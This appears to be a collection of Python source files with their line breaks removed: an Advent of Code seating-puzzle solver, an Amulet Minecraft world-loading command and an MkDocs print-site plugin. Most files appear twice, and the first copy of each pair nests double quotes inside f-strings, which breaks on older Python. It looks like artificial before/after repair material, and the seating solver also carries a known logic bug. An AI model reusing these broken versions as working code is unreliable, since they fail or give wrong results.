""" -*- coding: utf-8 -*- Written by: sme30393 Date: 11/12/2020 """ import numpy as np import os import scipy.ndimage as ndimage from collections import Counter from typing import List from solutions.config import Config from solutions.year_2020.utils.file_manager import read_txt_file SEAT_TYPE = { ".": "floor", "#": "occupied", "L": "empty" } def get_adjacent_seats(seat_plan: np.ndarray, rowidx: int, colidx: int, dist: int = 1) -> np.ndarray: rowmax, colmax = np.subtract(seat_plan.shape, 1) row_ub = min(rowidx + dist, rowmax) col_ub = min(colidx + dist, colmax) row_lb = max(0, rowidx - dist) col_lb = max(0, colidx - dist) coordinates = np.array( list( { (row_lb, col_lb), (rowidx, col_lb), (row_ub, col_lb), (row_lb, colidx), (row_ub, colidx), (row_lb, col_ub), (rowidx, col_ub), (row_ub, col_ub) } ) ) coordinates = np.array( [coordinate for coordinate in coordinates if not np.array_equal(coordinate, np.array([rowidx, colidx]))] ) seats_adjacent_states = np.array([seat_plan[coordinate[0], coordinate[1]] for coordinate in coordinates]) return seats_adjacent_states # seats_adjacent_states = seat_plan[row_lb:row_ub + 1, col_lb:col_ub + 1].flatten() # seats_adjacent_states = np.delete(seats_adjacent_states, # np.where(seats_adjacent_states == seat_plan[rowidx, colidx])[0][0]) # return seats_adjacent_states def fill_seats(seat_plan: np.ndarray) -> np.ndarray: seat_plan_new = seat_plan.copy() for rowidx, row in enumerate(seat_plan): for colidx, col in enumerate(row): seats_adjacent = get_adjacent_seats(seat_plan=seat_plan, rowidx=rowidx, colidx=colidx) if col == ".": continue elif col == "L": if Counter(seats_adjacent)["#"] == 0: seat_plan_new[rowidx, colidx] = "#" else: if Counter(seats_adjacent)["#"] >= 4: seat_plan_new[rowidx, colidx] = "L" if not np.array_equal(seat_plan, seat_plan_new): return fill_seats(seat_plan=seat_plan_new) return seat_plan_new def get_first_visible_seat_state(seats: list) -> str: for seat in seats: if seat in "#L": return seat return "." def get_visible_occupied_seats(seat_plan: np.ndarray, rowidx: int, colidx: int) -> int: rowmax, colmax = seat_plan.shape directions = { "left": [*zip([rowidx] * (colidx + 1), range(colidx - 1, -1, -1))], "right": [*zip([rowidx] * (colmax - colidx), range(colidx + 1, colmax))], "up": [*zip(range(colidx, -1, -1), [colidx] * rowidx)], "down": [*zip(range(rowidx + 1, rowmax), [colidx] * (rowmax - rowidx))], "diagonal_right_up": [*zip(range(rowidx - 1, -1, -1), range(colidx + 1, colmax))], "diagonal_right_down": [*zip(range(rowidx + 1, rowmax), range(colidx + 1, colmax))], "diagonal_left_up": [*zip(range(rowidx - 1, -1, -1), range(colidx - 1, -1, -1))], "diagonal_left_down": [*zip(range(rowidx + 1, rowmax), range(colidx - 1, -1, -1))] } seats_taken = 0 for direction, coordinates in directions.items(): if coordinates: try: seats_visible = [seat_plan[coordinate] for coordinate in coordinates if seat_plan[coordinate]] except IndexError: print("Help") first_seat_visible = get_first_visible_seat_state(seats=seats_visible) if first_seat_visible == "#": seats_taken += 1 return seats_taken def fill_seats_two(seat_plan: np.ndarray) -> np.ndarray: seat_plan_new = seat_plan.copy() for rowidx, row in enumerate(seat_plan): for colidx, col in enumerate(row): seats_taken = get_visible_occupied_seats(seat_plan=seat_plan, rowidx=rowidx, colidx=colidx) if col == ".": continue elif col == "L": if seats_taken == 0: seat_plan_new[rowidx, colidx] = "#" elif col == "#": if seats_taken >= 5: seat_plan_new[rowidx, colidx] = "L" else: raise ValueError if not np.array_equal(seat_plan, seat_plan_new): return fill_seats_two(seat_plan=seat_plan_new) return seat_plan_new def parse_seat_system(path_file: str) -> np.ndarray: seat_system = read_txt_file(path_file=path_file) return np.array([[val for val in row] for row in seat_system]) def get_state_counts(seat_system: np.ndarray) -> dict: states, state_count = np.unique(seat_system, return_counts=True) return {s: c for s, c in zip(states, state_count)} def main(): config = Config(day=11) # PART ONE # Test one path_data = os.path.join(config.path_data, "seating_system_test.txt") seat_system_test_one = parse_seat_system(path_file=path_data) path_data = os.path.join(config.path_data, "seating_system_test_exp.txt") seat_system_exp = parse_seat_system(path_file=path_data) seat_system_new = fill_seats(seat_plan=seat_system_test_one) assert np.array_equal(seat_system_exp, seat_system_new) state_count = get_state_counts(seat_system=seat_system_new) assert state_count["#"] == 37 path_data = os.path.join(config.path_data, "seating_system.txt") seat_system = parse_seat_system(path_file=path_data) # seat_system = fill_seats(seat_plan=seat_system) # state_count = get_state_counts(seat_system=seat_system) # # print(f"Number of occupied seats equals: {state_count["#"]}") # assert state_count["#"] == 2275 # Test get visible seats path_data = os.path.join(config.path_data, "seating_system_test_two.txt") seat_system_test_two = parse_seat_system(path_file=path_data) seats_occupied = get_visible_occupied_seats(seat_plan=seat_system_test_two, colidx=3, rowidx=4) assert seats_occupied == 8 path_data = os.path.join(config.path_data, "seating_system_test_three.txt") seat_system_test_three = parse_seat_system(path_file=path_data) seats_occupied = get_visible_occupied_seats(seat_plan=seat_system_test_three, colidx=1, rowidx=1) assert seats_occupied == 0 path_data = os.path.join(config.path_data, "seating_system_test_four.txt") seat_system_test_four = parse_seat_system(path_file=path_data) seats_occupied = get_visible_occupied_seats(seat_plan=seat_system_test_four, colidx=3, rowidx=3) assert seats_occupied == 0 # Test fill_seats_two seat_system_new = fill_seats_two(seat_plan=seat_system_test_one) state_count = get_state_counts(seat_system=seat_system_new) assert state_count["#"] == 26 # Real deal (Does not work) # seat_system_new = fill_seats_two(seat_plan=seat_system) # state_count = get_state_counts(seat_system=seat_system_new) print(f"The number of occupied seats equals: {state_count["#"]}") return True if __name__ == "__main__": main()
""" -*- coding: utf-8 -*- Written by: sme30393 Date: 11/12/2020 """ import numpy as np import os import scipy.ndimage as ndimage from collections import Counter from typing import List from solutions.config import Config from solutions.year_2020.utils.file_manager import read_txt_file SEAT_TYPE = { ".": "floor", "#": "occupied", "L": "empty" } def get_adjacent_seats(seat_plan: np.ndarray, rowidx: int, colidx: int, dist: int = 1) -> np.ndarray: rowmax, colmax = np.subtract(seat_plan.shape, 1) row_ub = min(rowidx + dist, rowmax) col_ub = min(colidx + dist, colmax) row_lb = max(0, rowidx - dist) col_lb = max(0, colidx - dist) coordinates = np.array( list( { (row_lb, col_lb), (rowidx, col_lb), (row_ub, col_lb), (row_lb, colidx), (row_ub, colidx), (row_lb, col_ub), (rowidx, col_ub), (row_ub, col_ub) } ) ) coordinates = np.array( [coordinate for coordinate in coordinates if not np.array_equal(coordinate, np.array([rowidx, colidx]))] ) seats_adjacent_states = np.array([seat_plan[coordinate[0], coordinate[1]] for coordinate in coordinates]) return seats_adjacent_states # seats_adjacent_states = seat_plan[row_lb:row_ub + 1, col_lb:col_ub + 1].flatten() # seats_adjacent_states = np.delete(seats_adjacent_states, # np.where(seats_adjacent_states == seat_plan[rowidx, colidx])[0][0]) # return seats_adjacent_states def fill_seats(seat_plan: np.ndarray) -> np.ndarray: seat_plan_new = seat_plan.copy() for rowidx, row in enumerate(seat_plan): for colidx, col in enumerate(row): seats_adjacent = get_adjacent_seats(seat_plan=seat_plan, rowidx=rowidx, colidx=colidx) if col == ".": continue elif col == "L": if Counter(seats_adjacent)["#"] == 0: seat_plan_new[rowidx, colidx] = "#" else: if Counter(seats_adjacent)["#"] >= 4: seat_plan_new[rowidx, colidx] = "L" if not np.array_equal(seat_plan, seat_plan_new): return fill_seats(seat_plan=seat_plan_new) return seat_plan_new def get_first_visible_seat_state(seats: list) -> str: for seat in seats: if seat in "#L": return seat return "." def get_visible_occupied_seats(seat_plan: np.ndarray, rowidx: int, colidx: int) -> int: rowmax, colmax = seat_plan.shape directions = { "left": [*zip([rowidx] * (colidx + 1), range(colidx - 1, -1, -1))], "right": [*zip([rowidx] * (colmax - colidx), range(colidx + 1, colmax))], "up": [*zip(range(colidx, -1, -1), [colidx] * rowidx)], "down": [*zip(range(rowidx + 1, rowmax), [colidx] * (rowmax - rowidx))], "diagonal_right_up": [*zip(range(rowidx - 1, -1, -1), range(colidx + 1, colmax))], "diagonal_right_down": [*zip(range(rowidx + 1, rowmax), range(colidx + 1, colmax))], "diagonal_left_up": [*zip(range(rowidx - 1, -1, -1), range(colidx - 1, -1, -1))], "diagonal_left_down": [*zip(range(rowidx + 1, rowmax), range(colidx - 1, -1, -1))] } seats_taken = 0 for direction, coordinates in directions.items(): if coordinates: try: seats_visible = [seat_plan[coordinate] for coordinate in coordinates if seat_plan[coordinate]] except IndexError: print("Help") first_seat_visible = get_first_visible_seat_state(seats=seats_visible) if first_seat_visible == "#": seats_taken += 1 return seats_taken def fill_seats_two(seat_plan: np.ndarray) -> np.ndarray: seat_plan_new = seat_plan.copy() for rowidx, row in enumerate(seat_plan): for colidx, col in enumerate(row): seats_taken = get_visible_occupied_seats(seat_plan=seat_plan, rowidx=rowidx, colidx=colidx) if col == ".": continue elif col == "L": if seats_taken == 0: seat_plan_new[rowidx, colidx] = "#" elif col == "#": if seats_taken >= 5: seat_plan_new[rowidx, colidx] = "L" else: raise ValueError if not np.array_equal(seat_plan, seat_plan_new): return fill_seats_two(seat_plan=seat_plan_new) return seat_plan_new def parse_seat_system(path_file: str) -> np.ndarray: seat_system = read_txt_file(path_file=path_file) return np.array([[val for val in row] for row in seat_system]) def get_state_counts(seat_system: np.ndarray) -> dict: states, state_count = np.unique(seat_system, return_counts=True) return {s: c for s, c in zip(states, state_count)} def main(): config = Config(day=11) # PART ONE # Test one path_data = os.path.join(config.path_data, "seating_system_test.txt") seat_system_test_one = parse_seat_system(path_file=path_data) path_data = os.path.join(config.path_data, "seating_system_test_exp.txt") seat_system_exp = parse_seat_system(path_file=path_data) seat_system_new = fill_seats(seat_plan=seat_system_test_one) assert np.array_equal(seat_system_exp, seat_system_new) state_count = get_state_counts(seat_system=seat_system_new) assert state_count["#"] == 37 path_data = os.path.join(config.path_data, "seating_system.txt") seat_system = parse_seat_system(path_file=path_data) # seat_system = fill_seats(seat_plan=seat_system) # state_count = get_state_counts(seat_system=seat_system) # # print(f"Number of occupied seats equals: {state_count['#']}") # assert state_count["#"] == 2275 # Test get visible seats path_data = os.path.join(config.path_data, "seating_system_test_two.txt") seat_system_test_two = parse_seat_system(path_file=path_data) seats_occupied = get_visible_occupied_seats(seat_plan=seat_system_test_two, colidx=3, rowidx=4) assert seats_occupied == 8 path_data = os.path.join(config.path_data, "seating_system_test_three.txt") seat_system_test_three = parse_seat_system(path_file=path_data) seats_occupied = get_visible_occupied_seats(seat_plan=seat_system_test_three, colidx=1, rowidx=1) assert seats_occupied == 0 path_data = os.path.join(config.path_data, "seating_system_test_four.txt") seat_system_test_four = parse_seat_system(path_file=path_data) seats_occupied = get_visible_occupied_seats(seat_plan=seat_system_test_four, colidx=3, rowidx=3) assert seats_occupied == 0 # Test fill_seats_two seat_system_new = fill_seats_two(seat_plan=seat_system_test_one) state_count = get_state_counts(seat_system=seat_system_new) assert state_count["#"] == 26 # Real deal (Does not work) # seat_system_new = fill_seats_two(seat_plan=seat_system) # state_count = get_state_counts(seat_system=seat_system_new) print(f"The number of occupied seats equals: {state_count['#']}") return True if __name__ == "__main__": main()
from __future__ import annotations from typing import List, Optional from .. import ComplexCommand, command, subcommand, WorldMode from amulet.api import world_loader from amulet.api import version_loader, format_loader from amulet.api.errors import ( FormatError, FormatLoaderInvalidFormat, FormatLoaderMismatched, FormatLoaderNoneMatched, VersionLoaderInvalidFormat, VersionLoaderMismatched, ) @command("world") class WorldCommand(ComplexCommand): @subcommand("load") def load(self, args: List[str]): world_path: Optional[str] = None intent_format: Optional[str] = None intent_version: Optional[str] = None intent_forced: bool = False for arg in args[1:]: if arg.startswith("--override="): arg = arg.split(",") intent_format = arg[0][9:] intent_version = arg[1] elif arg == "--force": intent_forced = True else: world_path = arg if world_path is None: print('Usage: world.load "<world_path>"') return try: world_mode = WorldMode( self.handler, world=world_path, world_format=intent_format, world_version=intent_version, forced=intent_forced, ) self.handler.enter_mode(world_mode) except ( FormatLoaderInvalidFormat, VersionLoaderInvalidFormat, FormatLoaderNoneMatched, ) as e: print(f"==== Error: {e}") print(f"Available formats: {format_loader.get_all_formats()}") print(f"Acailable versions: {version_loader.get_all_versions()}") print( "Use --override=<world format>,<version> to specify a specific format and version" ) except (FormatLoaderMismatched, VersionLoaderMismatched) as e: print(f"==== Error: {e}") print("Use --force to override") @subcommand("unload") def unload(self, args: List[str]): if self.handler.in_mode(WorldMode): self.handler.exit_mode() else: print( "=== Error: You must have opened a Minecraft world before unloading it" ) @subcommand("identify") def identify(self, args: List[str]): try: if not self.handler.in_mode(WorldMode): if len(args) == 1: print('Usage: world.identify "<world filepath>"') return version, identified_format = world_loader.identify(args[1]) elif len(args) == 2: version, identified_format = world_loader.identify(args[1]) else: world_mode = self.get_mode(WorldMode) version, identified_format = world_loader.identify( world_mode.world_path ) print(f"Version: {version.replace("_", ".")}") print(f"Format: {identified_format}") except FormatError as e: print(f"==== Error: {e}") @classmethod def help(cls, command_name: str = None): if command_name == "load": print("Loads a Minecraft world and enters World Mode") print("This command cannot be used once the program") print("has entered a World Mode\n") print('Usage: world.load "<world filepath>"') elif command_name == "identify": print("Identifies what format the given Minecraft world is in") print("This command can be used in 2 ways. The first method") print("is to supply a filepath to the world directory along") print("with the command itself. The second method is by loading") print("a world then running the command without any arguments.") print("However, if an argument is given, the format of the given path") print("will be displayed\n") print('Usage: world.identify "<world filepath>"') print("Usage (When in World Mode): world.identify") elif command_name == "unload": print("Unloads the currently opened Minecraft world\n") print("Usage: world.unload") else: print("load - Loads a Minecraft world with the appropriate format loader") print("identify - Prints out the identified loader for a given world") print("unload - Unloads the currently opened Minecraft world") @classmethod def short_help(cls) -> str: return "Various commands for loading and modifying worlds"
from __future__ import annotations from typing import List, Optional from .. import ComplexCommand, command, subcommand, WorldMode from amulet.api import world_loader from amulet.api import version_loader, format_loader from amulet.api.errors import ( FormatError, FormatLoaderInvalidFormat, FormatLoaderMismatched, FormatLoaderNoneMatched, VersionLoaderInvalidFormat, VersionLoaderMismatched, ) @command("world") class WorldCommand(ComplexCommand): @subcommand("load") def load(self, args: List[str]): world_path: Optional[str] = None intent_format: Optional[str] = None intent_version: Optional[str] = None intent_forced: bool = False for arg in args[1:]: if arg.startswith("--override="): arg = arg.split(",") intent_format = arg[0][9:] intent_version = arg[1] elif arg == "--force": intent_forced = True else: world_path = arg if world_path is None: print('Usage: world.load "<world_path>"') return try: world_mode = WorldMode( self.handler, world=world_path, world_format=intent_format, world_version=intent_version, forced=intent_forced, ) self.handler.enter_mode(world_mode) except ( FormatLoaderInvalidFormat, VersionLoaderInvalidFormat, FormatLoaderNoneMatched, ) as e: print(f"==== Error: {e}") print(f"Available formats: {format_loader.get_all_formats()}") print(f"Acailable versions: {version_loader.get_all_versions()}") print( "Use --override=<world format>,<version> to specify a specific format and version" ) except (FormatLoaderMismatched, VersionLoaderMismatched) as e: print(f"==== Error: {e}") print("Use --force to override") @subcommand("unload") def unload(self, args: List[str]): if self.handler.in_mode(WorldMode): self.handler.exit_mode() else: print( "=== Error: You must have opened a Minecraft world before unloading it" ) @subcommand("identify") def identify(self, args: List[str]): try: if not self.handler.in_mode(WorldMode): if len(args) == 1: print('Usage: world.identify "<world filepath>"') return version, identified_format = world_loader.identify(args[1]) elif len(args) == 2: version, identified_format = world_loader.identify(args[1]) else: world_mode = self.get_mode(WorldMode) version, identified_format = world_loader.identify( world_mode.world_path ) print(f"Version: {version.replace('_', '.')}") print(f"Format: {identified_format}") except FormatError as e: print(f"==== Error: {e}") @classmethod def help(cls, command_name: str = None): if command_name == "load": print("Loads a Minecraft world and enters World Mode") print("This command cannot be used once the program") print("has entered a World Mode\n") print('Usage: world.load "<world filepath>"') elif command_name == "identify": print("Identifies what format the given Minecraft world is in") print("This command can be used in 2 ways. The first method") print("is to supply a filepath to the world directory along") print("with the command itself. The second method is by loading") print("a world then running the command without any arguments.") print("However, if an argument is given, the format of the given path") print("will be displayed\n") print('Usage: world.identify "<world filepath>"') print("Usage (When in World Mode): world.identify") elif command_name == "unload": print("Unloads the currently opened Minecraft world\n") print("Usage: world.unload") else: print("load - Loads a Minecraft world with the appropriate format loader") print("identify - Prints out the identified loader for a given world") print("unload - Unloads the currently opened Minecraft world") @classmethod def short_help(cls) -> str: return "Various commands for loading and modifying worlds"
import os import re import logging import sys from mkdocs.plugins import BasePlugin from mkdocs.config import config_options from mkdocs.structure.files import File from mkdocs.structure.pages import Page from mkdocs.utils import write_file, copy_file, get_relative_url, warning_filter from mkdocs.exceptions import PluginError from mkdocs_print_site_plugin.renderer import Renderer from mkdocs_print_site_plugin.utils import flatten_nav, get_theme_name logger = logging.getLogger("mkdocs.plugins") logger.addFilter(warning_filter) HERE = os.path.dirname(os.path.abspath(__file__)) class PrintSitePlugin(BasePlugin): """ MkDocs Plugin class for combining all site pages into a single page. """ config_scheme = ( ("add_to_navigation", config_options.Type(bool, default=False)), ("print_page_title", config_options.Type(str, default="Print Site")), ("add_table_of_contents", config_options.Type(bool, default=True)), ("toc_title", config_options.Type(str, default="Table of Contents")), ("toc_depth", config_options.Type(int, default=3)), ("add_full_urls", config_options.Type(bool, default=False)), ("enumerate_headings", config_options.Type(bool, default=True)), ("enumerate_headings_depth", config_options.Type(int, default=6)), ("enumerate_figures", config_options.Type(bool, default=True)), ("add_cover_page", config_options.Type(bool, default=False)), ("cover_page_template", config_options.Type(str, default="")), ("add_print_site_banner", config_options.Type(bool, default=False)), ("print_site_banner_template", config_options.Type(str, default="")), ("path_to_pdf", config_options.Type(str, default="")), ("include_css", config_options.Type(bool, default=True)), ("enabled", config_options.Type(bool, default=True)), ("exclude", config_options.Type(list, default=[])), ) def on_config(self, config, **kwargs): """ Event trigger on config. See https://www.mkdocs.org/user-guide/plugins/#on_config. """ if not self.config.get("enabled"): return config # Check valid table of contents depth assert self.config.get("toc_depth") >= 1 assert self.config.get("toc_depth") <= 6 assert self.config.get("enumerate_headings_depth") >= 1 assert self.config.get("enumerate_headings_depth") <= 6 # Because other plugins can alter the navigation # (and thus which pages should be in the print page) # it is important 'print-site' is defined last in the 'plugins' plugins = config.get("plugins") print_site_position = [*dict(plugins)].index("print-site") if print_site_position != len(plugins) - 1: msg = "[mkdocs-print-site] 'print-site' should be defined as the *last* plugin," msg += "to ensure the print page has any changes other plugins make." msg += "Please update the 'plugins:' section in your mkdocs.yml" logger.warning(msg) if "--dirtyreload" in sys.argv: msg = ( "[mkdocs-print-site] Note the 'print-site' page does render all pages " ) msg += "when using the --dirtyreload option." logger.warning(msg) # Get abs path to cover_page_template self.cover_page_template_path = "" if self.config.get("add_cover_page"): if self.config.get("cover_page_template") == "": self.cover_page_template_path = os.path.join( HERE, "templates", "cover_page.tpl" ) else: self.cover_page_template_path = os.path.join( os.path.dirname(config.get("config_file_path")), self.config.get("cover_page_template"), ) if not os.path.exists(self.cover_page_template_path): msg = "[print-site-plugin]: Path specified in 'cover_page_template' not found." msg += "\nMake sure to use the URL relative to your mkdocs.yml file." logger.warning(msg) raise FileNotFoundError( "File not found: %s" % self.cover_page_template_path ) # Get abs path to print_site_banner_template self.banner_template_path = "" if self.config.get("add_print_site_banner"): if self.config.get("print_site_banner_template") == "": self.banner_template_path = os.path.join( HERE, "templates", "print_site_banner.tpl" ) else: self.banner_template_path = os.path.join( os.path.dirname(config.get("config_file_path")), self.config.get("print_site_banner_template"), ) if not os.path.exists(self.banner_template_path): msg = "[print-site-plugin]: Path specified in 'print_site_banner_template' not found." msg += "\nMake sure to use the URL relative to your mkdocs.yml file." logger.warning(msg) raise FileNotFoundError( "File not found: %s" % self.banner_template_path ) # Add pointer to print-site javascript config["extra_javascript"] = ["js/print-site.js"] + config["extra_javascript"] # Add pointer to theme specific css files if self.config.get("include_css"): file = "print-site-%s.css" % get_theme_name(config) if file in os.listdir(os.path.join(HERE, "css")): config["extra_css"] = ["css/%s" % file] + config["extra_css"] else: msg = f"[mkdocs-print-site] Theme '{get_theme_name(config)}' not yet supported\n" msg += "which means print margins and page breaks might be off. Feel free to open an issue!" logger.warning(msg) # Add pointer to print-site css files config["extra_css"] = ["css/print-site.css"] + config["extra_css"] # Enumeration CSS files self.enum_css_files = [] if self.config.get('enumerate_headings'): self.enum_css_files += ["css/print-site-enum-headings1.css"] if self.config.get('enumerate_headings_depth') >= 2: self.enum_css_files += ["css/print-site-enum-headings2.css"] if self.config.get('enumerate_headings_depth') >= 3: self.enum_css_files += ["css/print-site-enum-headings3.css"] if self.config.get('enumerate_headings_depth') >= 4: self.enum_css_files += ["css/print-site-enum-headings4.css"] if self.config.get('enumerate_headings_depth') >= 5: self.enum_css_files += ["css/print-site-enum-headings5.css"] if self.config.get('enumerate_headings_depth') >= 6: self.enum_css_files += ["css/print-site-enum-headings6.css"] config["extra_css"] = self.enum_css_files + config["extra_css"] # Create MkDocs Page and File instances self.print_file = File( path="print_page.md", src_dir="", dest_dir=config["site_dir"], use_directory_urls=config.get("use_directory_urls"), ) self.print_page = Page( title=self.config.get("print_page_title"), file=self.print_file, config=config, ) self.print_page.edit_url = None # Save instance of the print page renderer self.renderer = Renderer( plugin_config=self.config, mkdocs_config=config, cover_page_template_path=self.cover_page_template_path, banner_template_path=self.banner_template_path, print_page=self.print_page, ) # Tracker # to see if context has been extracted from # template context self.context = {} return config def on_nav(self, nav, config, files, **kwargs): """ The nav event is called after the site navigation is created. Can be used to alter the site navigation. See https://www.mkdocs.org/user-guide/plugins/#on_nav. """ if not self.config.get("enabled"): return nav # Save the (order of) pages and sections in the navigation before adding the print page self.renderer.items = nav.items self.all_pages_in_nav = flatten_nav(nav.items) # Optionally add the print page to the site navigation if self.config.get("add_to_navigation"): nav.items.append(self.print_page) nav.pages.append(self.print_page) return nav def on_page_content(self, html, page, config, files, **kwargs): """ The page_content event is called after the Markdown text is rendered to HTML. (but before being passed to a template) and can be used to alter the HTML body of the page. See https://www.mkdocs.org/user-guide/plugins/#on_page_content. """ if not self.config.get("enabled"): return html # Save each page HTML *before* a template is applied inside the page class if page != self.print_page: page.html = html # We need to validate that the first heading on each page is a h1 # This is required for the print page table of contents and enumeration logic if self.config.get("add_table_of_contents") or self.config.get( "enumerate_headings" ): if page in self.all_pages_in_nav: match = re.search(r"\<h[0-6]", html) if match: if not match.group() == "<h1": msg = f"The page {page.title} ({page.file.src_path}) does not start with a level 1 heading." msg += "This is required for print page Table of Contents and/or enumeration of headings." raise AssertionError(msg) # Link to the PDF version of the entire site on a page. if self.config.get("path_to_pdf") != "": page.url_to_pdf = get_relative_url( self.config.get("path_to_pdf"), page.file.url ) return html def on_page_context(self, context, page, config, nav, **kwargs): """ The page_context event is called after the context for a page is created. It can be used to alter the context for that specific page only. See https://www.mkdocs.org/user-guide/plugins/#on_page_context. """ if not self.config.get("enabled"): return # Save relative link to print page # This can be used to customize a theme and add a print button to each page page.url_to_print_page = self.print_file.url_relative_to(page.file) def on_template_context(self, context, template_name, config, **kwargs): """ The template_context event is called immediately after the context is created for the subject template and can be used to alter the context for that specific template only. See https://www.mkdocs.org/dev-guide/plugins/#on_template_context """ if not self.config.get("enabled"): return # Save the page context # We'll use the same context of the last rendered page # And apply it to the print page as well (in on_post_build event) # Note a theme can have multiple templates # Found a bug where in the mkdocs theme, # the "sitemap.xml" static template # has incorrect 'extra_css' and 'extra_js' paths # leading to breaking the print page # at random (when sitemap.xml was rendered last) # we're assuming here all templates have a 404.html template # print(f"\nName: {template_name}\nContext: {context.get("extra_css")}") if template_name == "404.html": self.context = context # Make sure paths are OK if config.get('extra_css'): self.context['extra_css'] = [get_relative_url(f, self.print_page.file.url) for f in config.get('extra_css')] if config.get('extra_javascript'): self.context['extra_javascript'] = [get_relative_url(f, self.print_page.file.url) for f in config.get('extra_javascript')] def on_post_build(self, config, **kwargs): """ The post_build event does not alter any variables. Use this event to call post-build scripts. See https://www.mkdocs.org/user-guide/plugins/#on_post_build. """ if not self.config.get("enabled"): return if len(self.context) == 0: msg = "Could not find a template context.\n" msg += "Report an issue at https://github.com/timvink/mkdocs-print-site-plugin\n" msg += f"And mention the template you're using: {get_theme_name(config)}" raise PluginError(msg) # Add print-site.js js_output_base_path = os.path.join(config["site_dir"], "js") js_file_path = os.path.join(js_output_base_path, "print-site.js") copy_file(os.path.join(os.path.join(HERE, "js"), "print-site.js"), js_file_path) if self.config.get("include_css"): # Add print-site.css css_output_base_path = os.path.join(config["site_dir"], "css") css_file_path = os.path.join(css_output_base_path, "print-site.css") copy_file( os.path.join(os.path.join(HERE, "css"), "print-site.css"), css_file_path ) # Add enumeration css for f in self.enum_css_files: f = f.replace("/", os.sep) css_file_path = os.path.join(config["site_dir"], f) copy_file( os.path.join(HERE, f), css_file_path ) # Add theme CSS file css_file = "print-site-%s.css" % get_theme_name(config) if css_file in os.listdir(os.path.join(HERE, "css")): css_file_path = os.path.join(css_output_base_path, css_file) copy_file( os.path.join(os.path.join(HERE, "css"), css_file), css_file_path ) # Combine the HTML of all pages present in the navigation self.print_page.content = self.renderer.write_combined() # Generate a TOC sidebar for HTML version of print page self.print_page.toc = self.renderer.get_toc_sidebar() # Get the info for MkDocs to be able to apply a theme template on our print page env = config["theme"].get_env() # env.list_templates() template = env.get_template("main.html") self.context["page"] = self.print_page # Render the theme template for the print page html = template.render(self.context) # Remove lazy loading attributes from images # https://regex101.com/r/HVpKPs/1 html = re.sub(r"(\<img.+)(loading=\"lazy\")", r"\1", html) # Compatiblity with mkdocs-chart-plugin # As this plugin adds some javascript to every page # It should be included in the print site also if config.get("plugins", {}).get("charts"): html = ( config.get("plugins", {}) .get("charts") .add_javascript_variables(html, self.print_page, config) ) # Compatibility with https://github.com/g-provost/lightgallery-markdown # This plugin insert link hrefs with double dashes, f.e. # <link href="//assets/css/somecss.css"> # Details https://github.com/timvink/mkdocs-print-site-plugin/issues/68 htmls = html.split("</head>") base_url = "../" if config.get("use_directory_urls") else "" htmls[0] = htmls[0].replace("href=\"//", f"href=\"{base_url}") htmls[0] = htmls[0].replace("src=\"//", f"src=\"{base_url}") html = "</head>".join(htmls) # Determine calls to required javascript functions js_calls = "remove_material_navigation();" js_calls += "remove_mkdocs_theme_navigation();" if self.config.get("add_table_of_contents"): js_calls += "generate_toc();" # Inject JS into print page print_site_js = ( """ <script type="text/javascript"> document.addEventListener('DOMContentLoaded', function () { %s }) </script> """ % js_calls ) html = html.replace("</head>", print_site_js + "</head>") # Write the print_page file to the output folder write_file( html.encode("utf-8", errors="xmlcharrefreplace"), self.print_page.file.abs_dest_path, )
import os import re import logging import sys from mkdocs.plugins import BasePlugin from mkdocs.config import config_options from mkdocs.structure.files import File from mkdocs.structure.pages import Page from mkdocs.utils import write_file, copy_file, get_relative_url, warning_filter from mkdocs.exceptions import PluginError from mkdocs_print_site_plugin.renderer import Renderer from mkdocs_print_site_plugin.utils import flatten_nav, get_theme_name logger = logging.getLogger("mkdocs.plugins") logger.addFilter(warning_filter) HERE = os.path.dirname(os.path.abspath(__file__)) class PrintSitePlugin(BasePlugin): """ MkDocs Plugin class for combining all site pages into a single page. """ config_scheme = ( ("add_to_navigation", config_options.Type(bool, default=False)), ("print_page_title", config_options.Type(str, default="Print Site")), ("add_table_of_contents", config_options.Type(bool, default=True)), ("toc_title", config_options.Type(str, default="Table of Contents")), ("toc_depth", config_options.Type(int, default=3)), ("add_full_urls", config_options.Type(bool, default=False)), ("enumerate_headings", config_options.Type(bool, default=True)), ("enumerate_headings_depth", config_options.Type(int, default=6)), ("enumerate_figures", config_options.Type(bool, default=True)), ("add_cover_page", config_options.Type(bool, default=False)), ("cover_page_template", config_options.Type(str, default="")), ("add_print_site_banner", config_options.Type(bool, default=False)), ("print_site_banner_template", config_options.Type(str, default="")), ("path_to_pdf", config_options.Type(str, default="")), ("include_css", config_options.Type(bool, default=True)), ("enabled", config_options.Type(bool, default=True)), ("exclude", config_options.Type(list, default=[])), ) def on_config(self, config, **kwargs): """ Event trigger on config. See https://www.mkdocs.org/user-guide/plugins/#on_config. """ if not self.config.get("enabled"): return config # Check valid table of contents depth assert self.config.get("toc_depth") >= 1 assert self.config.get("toc_depth") <= 6 assert self.config.get("enumerate_headings_depth") >= 1 assert self.config.get("enumerate_headings_depth") <= 6 # Because other plugins can alter the navigation # (and thus which pages should be in the print page) # it is important 'print-site' is defined last in the 'plugins' plugins = config.get("plugins") print_site_position = [*dict(plugins)].index("print-site") if print_site_position != len(plugins) - 1: msg = "[mkdocs-print-site] 'print-site' should be defined as the *last* plugin," msg += "to ensure the print page has any changes other plugins make." msg += "Please update the 'plugins:' section in your mkdocs.yml" logger.warning(msg) if "--dirtyreload" in sys.argv: msg = ( "[mkdocs-print-site] Note the 'print-site' page does render all pages " ) msg += "when using the --dirtyreload option." logger.warning(msg) # Get abs path to cover_page_template self.cover_page_template_path = "" if self.config.get("add_cover_page"): if self.config.get("cover_page_template") == "": self.cover_page_template_path = os.path.join( HERE, "templates", "cover_page.tpl" ) else: self.cover_page_template_path = os.path.join( os.path.dirname(config.get("config_file_path")), self.config.get("cover_page_template"), ) if not os.path.exists(self.cover_page_template_path): msg = "[print-site-plugin]: Path specified in 'cover_page_template' not found." msg += "\nMake sure to use the URL relative to your mkdocs.yml file." logger.warning(msg) raise FileNotFoundError( "File not found: %s" % self.cover_page_template_path ) # Get abs path to print_site_banner_template self.banner_template_path = "" if self.config.get("add_print_site_banner"): if self.config.get("print_site_banner_template") == "": self.banner_template_path = os.path.join( HERE, "templates", "print_site_banner.tpl" ) else: self.banner_template_path = os.path.join( os.path.dirname(config.get("config_file_path")), self.config.get("print_site_banner_template"), ) if not os.path.exists(self.banner_template_path): msg = "[print-site-plugin]: Path specified in 'print_site_banner_template' not found." msg += "\nMake sure to use the URL relative to your mkdocs.yml file." logger.warning(msg) raise FileNotFoundError( "File not found: %s" % self.banner_template_path ) # Add pointer to print-site javascript config["extra_javascript"] = ["js/print-site.js"] + config["extra_javascript"] # 